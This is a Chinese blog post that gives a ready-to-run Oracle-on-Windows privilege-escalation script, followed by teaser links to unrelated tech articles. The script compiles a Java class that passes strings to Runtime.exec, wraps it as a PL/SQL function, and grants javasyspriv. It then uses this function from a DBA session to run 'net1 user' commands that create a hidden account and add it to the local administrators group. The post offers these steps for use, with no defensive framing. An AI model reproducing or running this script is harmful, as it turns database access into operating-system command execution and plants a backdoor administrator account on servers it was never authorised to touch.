当前位置:首页 > 技术文章 > 正文内容

oracle for windows 提权

lcy2013-11-07技术文章1735

 create or replace and compile

java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
 
 
 
 

在oracle中以dba身份执行   @c:\sql.txt  执行sql脚本

 exec:x:=run_cmz('net1 user abc fsqfsqfsq /add');

 exec:x:=run_cmz('net1 localgroup administrators abc /add'); 

 

版权声明:本文由cy's Blog发布,如需转载请注明出处。

本文链接:https://www.c3389.com/post/337.html

相关文章

如何破解无线路由器和WEP密码

近些年无线技术发展迅速,越来越多的用户使用无线设备在自己家建立起无线网络,通过搭建无线网络可以在家里的每个角落使用笔记本和无线网卡访问internet。有很多文章都向大家介绍了无线安全之中的通过设置W...

VBS 变形加密还原

VBS 变形加密还原

今个群里丢了一份代码 Dim QRRpZ QRRpZ=Array(-227,-209,-194,-278,-230,-199,-195,-194,-278,-249,-278,-...

centos系统下新分区的挂载

使用Root用户运行命令:fdisk /dev/hda输入n增加分区 输入p类型设置为:主分区 输入3分区编号设置为3 回车 为默认大小 回车 为默认 大小再&...

VS Code Remote 远程开发配置

受地域网络等限制,可能反应有点慢。先设置免密SSH公钥,(不然就干个啥都要把密码敲一遍,MacOS 为例,Windows 可在 git-bash.exe 中执行):执行 ...

Virtuozzo版)VPS的备份、还原和重装

Virtuozzo版)VPS的备份、还原和重装

备份:登陆VPS控制面板,选择 维护 ,新建备份。备份描述:可以给备份写备注,以防日久天长忘记是在怎样情况下做的备份。排除/包含:可以指定备份和不备份的文件夹和文件。我们保持默认:点击备份。信息:Co...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。